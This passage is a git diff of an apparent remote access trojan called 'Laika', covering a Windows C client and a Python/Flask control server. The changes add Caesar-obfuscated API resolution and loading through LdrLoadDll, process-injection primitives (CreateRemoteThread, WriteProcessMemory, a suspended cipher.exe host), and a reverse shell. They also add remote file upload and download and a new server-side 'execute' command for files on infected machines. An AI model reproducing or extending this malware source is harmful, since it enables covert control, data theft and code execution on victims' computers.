Api.free(file_list); - Api.free(path); + Api.HeapFree(_crt_heap, 0, file_list); + Api.HeapFree(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } @@ -395,50 +378,50 @@ retry: if (Api.send(sock, file_list, strlen(file_list), 0) < 0) { //send failed - Api.free(file_list); - Api.free(path); + Api.HeapFree(_crt_heap, 0, file_list); + Api.HeapFree(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } - Api.free(path); + Api.HeapFree(_crt_heap, 0, path); } - if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file - char* path = (char*)Api.malloc(MAX_PATH); + if (strncmp_(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file + char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.free(path); + Api.HeapFree(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } - FILE* fp = Api.fopen(CAESAR_DECRYPT(path), "rb"); - Api.free(path); + HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); + Api.HeapFree(_crt_heap, 0, path); - if (fp == NULL) + if (hFile == NULL) { Sleep_(Sleep_TIME); goto retry; } - if (download_file(fp, sock) == 0) { + if (download_file(hFile, sock) == 0) { Sleep_(Sleep_TIME); goto retry; } } - if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file - char* path = (char*)Api.malloc(MAX_PATH); + if (strncmp_(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file + char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH); //Receive a reply from the server if (Api.recv(sock, path, MAX_PATH, 0) <= 0) { //recv failed - Api.free(path); + Api.HeapFree(_crt_heap, 0, path); Sleep_(Sleep_TIME); goto retry; } @@ -447,20 +430,20 @@ retry: HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (file_handle == INVALID_HANDLE_VALUE) { - Api.free(path); - Api.free((LPWSTR)wstr); - return; + Api.HeapFree(_crt_heap, 0, path); + Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr); + goto retry; } - Api.free((LPWSTR)wstr); + Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr); upload_file(sock, file_handle); Api.CloseHandle(file_handle); - Api.free(path); + Api.HeapFree(_crt_heap, 0, path); } - if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell + if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell // Set the socket as standard output and error SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(SECURITY_ATTRIBUTES); @@ -483,7 +466,7 @@ retry: // Create the process STARTUPINFO si; - ZeroMemory(&si, sizeof(STARTUPINFO)); + memset_(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.hStdError = g_hChildStd_OUT_Wr; si.hStdOutput = g_hChildStd_OUT_Wr; @@ -491,7 +474,7 @@ retry: si.dwFlags |= STARTF_USESTDHANDLES; PROCESS_INFORMATION pi; - ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); + memset_(&pi, 0, sizeof(PROCESS_INFORMATION)); if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe SendShellEndedSignal(sock); @@ -550,4 +533,24 @@ retry: FreeApis(); */ return 0; -} \ No newline at end of file +} + +/* +BOOL APIENTRY main(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved +) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + main_func(); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} +*/ \ No newline at end of file diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 734032b..8f5cbde 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -1,18 +1,31 @@ #include "resolve_apis.h" +#include "libc.h" API Api; HMODULE hWininet; -HMODULE hMsvcrt; HMODULE hKernel32; void InitApis() { - // Dynamic loading functions - hKernel32 = LoadLibraryA(CAESAR_DECRYPT("pjwsjq873iqq")); //kernel32.dll + TLdrLoadDll ldr = (TLdrLoadDll)get_ntfunction(CAESAR_DECRYPT("QiwQtfiIqq")); + TRtlInitUnicodeString r = (TRtlInitUnicodeString)get_ntfunction(CAESAR_DECRYPT("WyqNsnyZsnhtijXywnsl")); + wchar_t *wide = L"kernel32.dll"; + UNICODE_STRING dll; + + r(&dll, wide); + ldr(0, 0, &dll, (PVOID*)&hKernel32); if (!hKernel32) { return; } - Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); + Api.GetProcAddress = (TGetProcAddress)my_GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); + Api.LoadLibraryA = (TLoadLibraryA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("QtfiQngwfw~F")); + Api.CreateRemoteThread = (TCreateRemoteThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjWjrtyjYmwjfi")); + Api.CreateProcessA = (TCreateProcessA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxxF")); + Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF")); + Api.HeapAlloc = (THeapAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuFqqth")); + Api.HeapCreate = (THeapCreate)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuHwjfyj")); + Api.HeapFree = (THeapFree)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuKwjj")); + Api.HeapReAlloc = (THeapReAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuWjFqqth")); Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\")); Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj")); Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj")); @@ -25,7 +38,6 @@ void InitApis() { Api.TerminateThread = (TTerminateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjYmwjfi")); Api.CreateProcessW = (TCreateProcessW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxx\\")); Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx")); - Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~")); Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj")); Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx")); Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw")); @@ -33,45 +45,13 @@ void InitApis() { Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\")); Api.RemoveDirectoryW = (TRemoveDirectoryW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Wjrt{jInwjhytw~\\")); Api.DeleteFileW = (TDeleteFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqj\\")); + Api.DeleteFileA = (TDeleteFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqjF")); Api.lstrcpyW = (TlstrcpyW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhu~\\")); Api.lstrcatW = (TlstrcatW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhfy\\")); - Api.CreateToolhelp32Snapshot = (TCreateToolhelp32Snapshot)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjYttqmjqu87Xsfuxmty")); - Api.Process32FirstW = (TProcess32FirstW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Knwxy\\")); - Api.OpenProcess = (TOpenProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("TujsUwthjxx")); - Api.Process32NextW = (TProcess32NextW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Sj}y\\")); - Api.IsWow64Process = (TIsWow64Process)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Nx\\t|;9Uwthjxx")); Api.WriteProcessMemory = (TWriteProcessMemory)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjUwthjxxRjrtw~")); Api.VirtualAllocEx = (TVirtualAllocEx)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("[nwyzfqFqqthJ}")); - Api.SetFilePointer = (TSetFilePointer)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("XjyKnqjUtnsyjw")); - Api.GetFileSizeEx = (TGetFileSizeEx)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyKnqjXn\x7fjJ}")); //GetFileSieEx - hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); - if (!hMsvcrt) { - return; - } - - Api.strcpy = (Tstrcpy)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywhu~")); - Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth")); - Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj")); - Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru")); - Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx")); - Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy")); - Api.remove = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjrt{j")); - Api.rmdir = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dwrinw")); - Api.stat = (Tstat)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxyfy")); - Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk")); - Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth")); - Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx")); - Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj")); - Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj")); - Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk")); - Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs")); - Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj")); - Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi")); - Api.fwrite = (Tfwrite)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("k|wnyj")); - Api.wcscmp = (Twcscmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxhru")); - - hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq")); + hWininet = Api.LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq")); if (!hWininet) { return; } @@ -87,11 +67,4 @@ void InitApis() { Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw")); Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy")); Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy")); -} -/* Never called -void FreeApis() { - Api.FreeLibrary(hWininet); - Api.FreeLibrary(hMsvcrt); - Api.FreeLibrary(hKernel32); -} -*/ \ No newline at end of file +} \ No newline at end of file diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index c4e9180..bf6ea5d 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -3,9 +3,19 @@ #include #include #include +#include #include #include "utils.h" +#ifdef _M_X64 + #define GetTEB() ((PTEB)__readgsqword(FIELD_OFFSET(NT_TIB, Self))) +#else + #define GetTEB() ((PTEB)__readfsdword(FIELD_OFFSET(NT_TIB, Self))) +#endif + +typedef NTSTATUS(NTAPI* TRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); +typedef NTSTATUS(NTAPI* TLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); +typedef HMODULE(WINAPI* TLoadLibraryA)(LPCSTR); typedef BOOL(WINAPI* Tconnect)(SOCKET, const SOCKADDR*, int); typedef BOOL(WINAPI* Tsend)(SOCKET, const char*, int, int); @@ -19,28 +29,8 @@ typedef int(WINAPI* TWSAGetLastError)(void); typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*); typedef int(WINAPI* Tsetsockopt)(SOCKET, int, int, const char*, int); -typedef void* (WINAPI* Tmemset)(void*, int, size_t); -typedef void* (WINAPI* Tmalloc)(size_t); -typedef void(WINAPI* Tfree)(void*); -typedef int(WINAPI* Tstrncmp)(const char*, const char*, size_t); -typedef size_t(WINAPI* Tmbstowcs)(wchar_t*, const char*, size_t); -typedef char*(WINAPI* Tstrcpy)(char*, const char*); -typedef int(WINAPI* Tremove)(const char*); -typedef int(WINAPI* Trmdir)(const char*); -typedef int(WINAPI* Tstat)(char const* const, struct stat* const); -typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...); -typedef void*(WINAPI* Trealloc)(void*, size_t); -typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t); -typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*); -typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*); -typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...); -typedef FILE* (WINAPI* Tfopen)(char const*, char const*); -typedef int(WINAPI* Tfclose)(FILE*); -typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*); -typedef size_t(WINAPI* Tfwrite)(void const*, size_t, size_t, FILE*); typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR); typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR); -typedef int(WINAPI* Twcscmp)(const wchar_t*, const wchar_t*); typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); @@ -54,8 +44,15 @@ typedef HANDLE(WINAPI* TCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_ST typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD); typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT); -typedef BOOL(WINAPI* TFreeLibrary)(HMODULE); typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); +typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); +typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); +typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); +typedef LPVOID(WINAPI* THeapAlloc)(HANDLE, DWORD, SIZE_T); +typedef BOOL(WINAPI* THeapFree)(HANDLE, DWORD, LPVOID); +typedef HANDLE(WINAPI* THeapCreate)(DWORD, SIZE_T, SIZE_T); +typedef LPVOID(WINAPI* THeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T); +typedef BOOL(WINAPI* TDeleteFileA)(LPCSTR); typedef BOOL(WINAPI* TFindClose)(HANDLE); typedef DWORD(WINAPI* TGetLogicalDrives)(VOID); typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int); @@ -63,15 +60,8 @@ typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW); typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW); typedef BOOL(WINAPI* TRemoveDirectoryW)(LPCWSTR); typedef BOOL(WINAPI* TDeleteFileW)(LPCWSTR); -typedef HANDLE(WINAPI* TCreateToolhelp32Snapshot)(DWORD, DWORD); -typedef BOOL(WINAPI* TProcess32FirstW)(HANDLE, LPPROCESSENTRY32W); -typedef HANDLE(WINAPI* TOpenProcess)(DWORD, BOOL, DWORD); -typedef BOOL(WINAPI* TProcess32NextW)(HANDLE, LPPROCESSENTRY32W); -typedef BOOL(WINAPI* TIsWow64Process)(HANDLE, PBOOL); typedef BOOL(WINAPI* TWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); typedef LPVOID(WINAPI* TVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); -typedef DWORD(WINAPI* TSetFilePointer)(HANDLE, LONG, PLONG, DWORD); -typedef BOOL(WINAPI* TGetFileSizeEx)(HANDLE, PLARGE_INTEGER); typedef struct ApiList { Tconnect connect; @@ -86,11 +76,15 @@ typedef struct ApiList { Tselect select; Tsetsockopt setsockopt; - Tmemset memset; - Tmalloc malloc; - Tfree free; - Tstrncmp strncmp; - + TLoadLibraryA LoadLibraryA; + TCreateFileA CreateFileA; + TCreateProcessA CreateProcessA; + TCreateRemoteThread CreateRemoteThread; + THeapCreate HeapCreate; + THeapFree HeapFree; + THeapReAlloc HeapReAlloc; + THeapAlloc HeapAlloc; + TDeleteFileA DeleteFileA; TCreateFileW CreateFileW; TReadFile ReadFile; TWriteFile WriteFile; @@ -103,7 +97,6 @@ typedef struct ApiList { TTerminateThread TerminateThread; TCreateProcessW CreateProcessW; TTerminateProcess TerminateProcess; - TFreeLibrary FreeLibrary; TGetProcAddress GetProcAddress; TFindClose FindClose; TGetLogicalDrives GetLogicalDrives; @@ -112,34 +105,11 @@ typedef struct ApiList { TFindNextFileW FindNextFileW; TRemoveDirectoryW RemoveDirectoryW; TDeleteFileW DeleteFileW; - TCreateToolhelp32Snapshot CreateToolhelp32Snapshot; - TProcess32FirstW Process32FirstW; - TOpenProcess OpenProcess; - TProcess32NextW Process32NextW; - TIsWow64Process IsWow64Process; TWriteProcessMemory WriteProcessMemory; TVirtualAllocEx VirtualAllocEx; - TSetFilePointer SetFilePointer; - TGetFileSizeEx GetFileSizeEx; - Tmbstowcs mbstowcs; - Twcstombs wcstombs; - Tstrcpy strcpy; - Tremove remove; - Trmdir rmdir; - Tstat stat; - Tsprintf sprintf; - Trealloc realloc; - Tlocaltime localtime; - Tstrftime strftime; - T_snprintf _snprintf; - Tfopen fopen; - Tfclose fclose; - Tfread fread; - Tfwrite fwrite; TlstrcpyW lstrcpyW; TlstrcatW lstrcatW; - Twcscmp wcscmp; } API; void InitApis(); diff --git a/Laika/shellcode.c b/Laika/shellcode.c index f661bfc..428c406 100644 --- a/Laika/shellcode.c +++ b/Laika/shellcode.c @@ -1,51 +1,38 @@ #include "shellcode.h" +#include "libc.h" extern API Api; HANDLE FindProcessByArch(const wchar_t* arch) { - HANDLE hSnapshot; - PROCESSENTRY32 pe32; + STARTUPINFOW si; + PROCESS_INFORMATION pi; - // Take a snapshot of all processes in the system - hSnapshot = Api.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hSnapshot == INVALID_HANDLE_VALUE) { - return NULL; - } + memset_(&si, 0, sizeof(si)); + si.cb = sizeof(si); + memset_(&pi, 0, sizeof(pi)); - // Iterate through the processes in the system - pe32.dwSize = sizeof(PROCESSENTRY32); - if (!Api.Process32FirstW(hSnapshot, &pe32)) { - Api.CloseHandle(hSnapshot); - return NULL; - } - do { - HANDLE hProcess; - BOOL isWow64; + LPWSTR path32 = L"C:\\Windows\\SysWOW64\\cipher.exe"; + LPWSTR path64 = L"C:\\Windows\\System32\\cipher.exe"; + LPWSTR path = 0; - hProcess = Api.OpenProcess(PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID); - if (hProcess == NULL) { - continue; - } + if (wcscmp_(arch, L"x86") == 0) + path = path32; + else + path = path64; - // Determine the process architecture - if (!Api.IsWow64Process(hProcess, &isWow64)) { - // Failed to determine the process architecture, so skip to the next process - Api.CloseHandle(hProcess); - hProcess = NULL; - continue; - } + BOOL status = Api.CreateProcessW( + NULL, // Application name + path, // Command line + NULL, // Process security attributes + NULL, // Primary thread security attributes + FALSE, // Handles are not inherited + CREATE_SUSPENDED, // Creation flags + NULL, // Use parent's environment block + NULL, // Starting directory + &si, // Pointer to STARTUPINFOW structure + &pi // Pointer to PROCESS_INFORMATION structure + ); - // Check if the process matches the provided architecture - if ((Api.wcscmp(arch, L"x86") == 0 && !isWow64) || (Api.wcscmp(arch, L"x64") == 0 && isWow64)) { - if (hProcess != NULL) { - Api.CloseHandle(hSnapshot); - return hProcess; - } - } - } while (Api.Process32NextW(hSnapshot, &pe32)); - - // No matching process found - Api.CloseHandle(hSnapshot); - return NULL; + return pi.hProcess; } \ No newline at end of file diff --git a/Laika/utils.c b/Laika/utils.c index 6046a71..5fe1f90 100644 --- a/Laika/utils.c +++ b/Laika/utils.c @@ -1,18 +1,9 @@ #include "utils.h" +#include "libc.h" + const int _fltused = 0; //fuck linker errors, all my homies hate CRT extern API Api; -void Message() { - if (1 == 3) { - int msgboxID = MessageBox( - NULL, - (LPCWSTR)L"Hello this is a message box", - (LPCWSTR)L"Hello !", - MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2 - ); - } -} - #define KEY 5 char* CAESAR(char* in) { for (size_t i = 0; i < strlen(in); i++) { @@ -34,7 +25,7 @@ LPCWSTR ConvertCharToWChar(const char* str) { int len = strlen(str) + 1; int wlen = Api.MultiByteToWideChar(CP_ACP, 0, str, len, NULL, 0); - LPWSTR wstr = (LPWSTR)Api.malloc(wlen * sizeof(WCHAR)); + LPWSTR wstr = (LPWSTR)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, wlen * sizeof(WCHAR)); Api.MultiByteToWideChar(CP_ACP, 0, str, len, wstr, wlen); return wstr; } diff --git a/Server/FileExplorer/index.html b/Server/FileExplorer/index.html index 2629443..f873274 100644 --- a/Server/FileExplorer/index.html +++ b/Server/FileExplorer/index.html @@ -29,7 +29,7 @@ - Nom + Nom Modifié le Taille @@ -131,7 +131,7 @@ }); // Add buttons to the table - $('#explorer').before('
'); + $('#explorer').before('
'); function get_checked_rows() { var checkboxes = document.querySelectorAll('input[type="checkbox"]'); @@ -183,6 +183,10 @@ $('#remove-button').on('click', function() { send_from_button("remove"); }); + + $('#execute-button').on('click', function() { + send_from_button("execute"); + }); }); diff --git a/Server/Server.py b/Server/Server.py index 35f001a..5fbbce5 100644 --- a/Server/Server.py +++ b/Server/Server.py @@ -12,8 +12,9 @@ import logging import urllib.parse import select import math +import re -ADRESSE = "192.168.1.35"#socket.gethostname() +ADRESSE = socket.gethostbyname(socket.gethostname()) PORT = 4444 CONNECT_CLIENTS = [] #liste des sockets ouverts THREAD_LIST = [] #tout les threads @@ -122,10 +123,14 @@ def recv_folder(client, path, addr, i) : f = CAESAR_DECRYPT(f_d) client.send(CAESAR("get_obj_info").encode()) - + client.send(CAESAR(path + '\\' + f + "\0").encode()) - infos = recv_message_ret(client).decode("latin-1") + infos = recv_message_ret(client) + try : + infos = infos.decode("latin-1") + except : + pass taille = infos.split("/")[0] if taille != '0' : @@ -179,12 +184,14 @@ def interact() : files = [] if action != "upload" : for f in file_list : + if f == None : + continue files.append(f.split('">')[1].replace("","")) match action : case "download" : - print("\n\nTéléchargement...\n\n") for i in files : + print(f"files:{files} i:{i} FILES_:{FILES_}") path = path_file_ex_2 + i if i in FILES_ : #call download file @@ -198,10 +205,8 @@ def interact() : recv_folder(client, path, addr, i) time.sleep(0.05) - print("\n\nTéléchargement terminé.\n\n") case "upload" : - print("\n\nUpload...\n\n") filename = easygui.fileopenbox() if filename == None or path_file_ex_2 == "" : @@ -216,7 +221,8 @@ def interact() : fp = open(filename, "rb") upload_file(fp, client) - print("\n\nUpload terminé.\n\n") + + time.sleep(0.05) case "remove" : for i in files : @@ -233,9 +239,21 @@ def interact() : client.send(CAESAR(path + "\0").encode()) time.sleep(0.05) + + case "execute" : + for i in files : + path = path_file_ex_2 + i + if i in FILES_ : + client.send(CAESAR("execute\0").encode()) + + client.send(CAESAR(path + "\0").encode()) return 'ok' +def extract_filename(url): + match = re.search(r'(.+?)', url) + return match.group(1) if match else '' + @app.route('/get_data', methods=['POST']) def get_data() : global path_file_ex @@ -267,7 +285,7 @@ def get_data() : i = -1 if CONNECT_CLIENTS != [] : data.append({"url" : f"..", "modified":"", "size" : ""}) - + for client in CONNECT_CLIENTS : i += 1 if len(path_file_ex.split("/")) == 1 or path_file_ex == "" : @@ -281,7 +299,12 @@ def get_data() : if client_num != i : continue client.send(CAESAR("get_drives").encode()) - drives = recv_message_ret(client).decode("utf-8") + drives = recv_message_ret(client) + + try : + drives = drives.decode("utf-8") + except : + pass for d in drives : data.append({"url": f"{d}", "modified": "", "size":""}) continue @@ -301,35 +324,46 @@ def get_data() : path_file_ex_2 = '/'.join(path_parts) client.send(CAESAR(path_file_ex_2 + "\0").encode()) - - files = recv_message_ret(client).decode("latin-1") + + files = "" + try : + files = recv_message_ret(client).decode("latin-1") + except : + files = recv_message_ret(client) + if files == "" : return "" + aaa = "" + try : + aaa = files.split("/") + except : return "" + FILES_ = [] - for f in files.split("/") : + for f in aaa: f = CAESAR_DECRYPT(f) - #print(path_file_ex + f) client.send(CAESAR("get_obj_info").encode()) client.send(CAESAR(path_file_ex_2 + f + "\0").encode()) - infos = recv_message_ret(client).decode("latin-1") - taille, modified = infos.split("/") - - is_dir = False - if taille != "N" : - taille = convert_size(int(taille)) - if taille == "0 O" : - is_dir = True - else : - FILES_.append(f) + infos = "" + try: + infos = recv_message_ret(client).decode("latin-1") + except : + infos = recv_message_ret(client) + is_dir = infos == "d" + modified = "" + taille = "" + if not is_dir : + FILES_.append(f) + if f[0] == "$" : + f = "." + f[1:] if is_dir : data.append({"url": f"\"Folder{f}", "modified": f"{modified}", "size": f"{taille}"}) else : data.append({"url": f"\"File{f}", "modified": f"{modified}", "size": f"{taille}"}) - + json_data = jsonify({"data":data}) return json_data @@ -343,7 +377,7 @@ def ban() : print(Fore.RED + " / / __ _ (_)| | __ __ _ ") print(Fore.RED + " / / / _` || || |/ // _` |") print(Fore.RED + "/ /___| (_| || || <| (_| |") - print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|") + print(Fore.RED + "\\____/ \\__,_||_||_|\\_\\\\__,_|") print(Style.BRIGHT + Fore.GREEN +"Là où finit l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL) print("") @@ -489,7 +523,7 @@ def main() -> None : c = CONNECT_CLIENTS[i] addr = c.getpeername()[0] pays = "" - match = geolite2.lookup(addr) + match = None#geolite2.lookup(addr) if match is not None : pays = match.country @@ -563,7 +597,10 @@ def main() -> None : fp = open(fichier, "rb") upload_file(fp, client) - + + elif cmd == "" : + pass + else : print("Commande non reconnue, \"help\" pour afficher la liste des commandes.") diff --git a/Server/requirements.txt b/Server/requirements.txt index c087726..6cef418 100644 --- a/Server/requirements.txt +++ b/Server/requirements.txt @@ -3,3 +3,4 @@ prettytable easygui python-geoip-python3 python-geoip-geolite2 +flask \ No newline at end of file